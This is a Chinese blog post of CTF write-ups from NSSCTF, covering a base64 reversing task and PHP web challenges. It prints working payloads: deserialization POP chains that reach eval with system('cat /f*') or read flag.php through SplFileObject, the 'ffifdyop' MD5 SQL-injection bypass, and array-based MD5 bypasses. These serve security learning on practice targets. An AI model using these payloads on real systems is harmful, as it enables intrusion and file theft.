从NSSCTF开始的复建之路

前言:

​ 摆烂了有段时间了,感觉不应该再继续这样了,开个新坑,让我慢慢回忆一些忘记的内容,我知道不应该摆烂,但心理问题导致我感觉一切都失去了意义,还好,maimai让我至少有活下去的想法,在写这段话的时候,我正在听 The Last Page – ARForest,一切的不如意都有最后一页,而现在,我希望我的低谷期已经来到了 The Last Page ,期待接下来的每一步都会像 The Last Page 一般,充满希望,充满美好。 –发癫完毕

Re:

[SWPUCTF 2022 新生赛]base64

​ IDA打开后,shift+f12找到了base64编码的编码表,表没有经过修改,同时找到加密后的数据:

1
TlNTQ1RGe2Jhc2VfNjRfTlRXUTRaR0ROQzdOfQ==

​ 经过base64解码之后得到flag:

1
NSSCTF{base_64_NTWQ4ZGDNC7N}

Web :

[MoeCTF 2021]unserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php

class entrance
{
public $start;

function __construct($start)
{
$this->start = $start;
}

function __destruct()
{
$this->start->helloworld();
}
}

class springboard
{
public $middle;

function __call($name, $arguments)
{
echo $this->middle->hs;
}
}

class evil
{
public $end;

function __construct($end)
{
$this->end = $end;
}

function __get($Attribute)
{
eval($this->end);
}
}

if(isset($_GET['serialize'])) {
unserialize($_GET['serialize']);
} else {
highlight_file(__FILE__);
}

​ 首先从 entrance 出发,反序列化出发 __destruct , 让 start 作为 springboard 可触发 __call,让

springboard 中的 middle 作为 evil 可触发 __get ,之后就是给end传参实现RCE。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

class entrance
{
public $start;
}

class springboard
{
public $middle;

}

class evil
{
public $end;

}

$a = new entrance();
$a->start = new springboard();
$a->start->middle = new evil();
$a->start->middle->end = "system('cat /f*');";

echo urlencode(serialize($a));

[GDOUCTF 2023]反方向的钟:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class teacher{
public $name;
public $rank;
private $salary;
public function __construct($name,$rank,$salary = 10000){
$this->name = $name;
$this->rank = $rank;
$this->salary = $salary;
}
}

class classroom{
public $name;
public $leader;
public function __construct($name,$leader){
$this->name = $name;
$this->leader = $leader;
}
public function hahaha(){
if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
return False;
}
else{
return True;
}
}
}

class school{
public $department;
public $headmaster;
public function __construct($department,$ceo){
$this->department = $department;
$this->headmaster = $ceo;
}
public function IPO(){
if($this->headmaster == 'ong'){
echo "Pretty Good ! Ctfer!\n";
echo new $_POST['a']($_POST['b']);
}
}
public function __wakeup(){
if($this->department->hahaha()) {
$this->IPO();
}
}
}

if(isset($_GET['d'])){
unserialize(base64_decode($_GET['d']));
}
?>

​ 简单的PHP反序列化,不过需要结合原生类去读取文件,因为school类中的IPO方法存在可以控制的自定义new的对象,所以可以想到的是用SplFileObject原生类来读取文件,刚好存在echo可以输出,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
error_reporting(0);
class teacher{
public $name;
public $rank;
public function __construct(){
$this->name = 'ing';
$this->rank = 'department';
}
}

class classroom{
public $name;
public $leader;
public function __construct(){
$this->name = 'one class';
$this->leader = new teacher;
}
}

class school{
public $department;
public $headmaster;
public function __construct(){
$this->department = new classroom;
$this->headmaster = 'ong';
}
}
$a = new school;
echo base64_encode(serialize($a));


//POST:
//a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php

[BJDCTF 2020]easy_md5:

​ 这个考点有点意思,需要特别关注下,打开网页之后是一个搜索框,抓包看响应头发现了一个hint:

1
select * from 'admin' where password=md5($pass,true)

​ 这里出现了这个考点,md5($pass,true)的绕过方式,照例来说,这里猜测是万能密码,需要md5加密之后扔到MySQL查询时候得到的是'or'[参数]'这种类型的结果,所以,问了下AI,Ai给出了正确答案,就是 ffifdyop,这里经过加密后得到的是:'or'6\xbb\xd9\x83\x1a\xe8\xd2\x1d\xc3\xe5\x8e\x8a的16进制数,MySQL里查询是像上面数据一样,也就成功执行了注入了。

​ 下一步,跳转进了下一个页面之后,直接读取源代码,看到了提示:

1
2
3
4
5
6
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
header('Location: levell14.php');

​ 直接访问levell14.php文件,得到最后一步:

1
2
3
4
5
6
7
8
9
<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}

​ 直接数组绕过:

1
param1[]=1&param2[]=2

Pwn: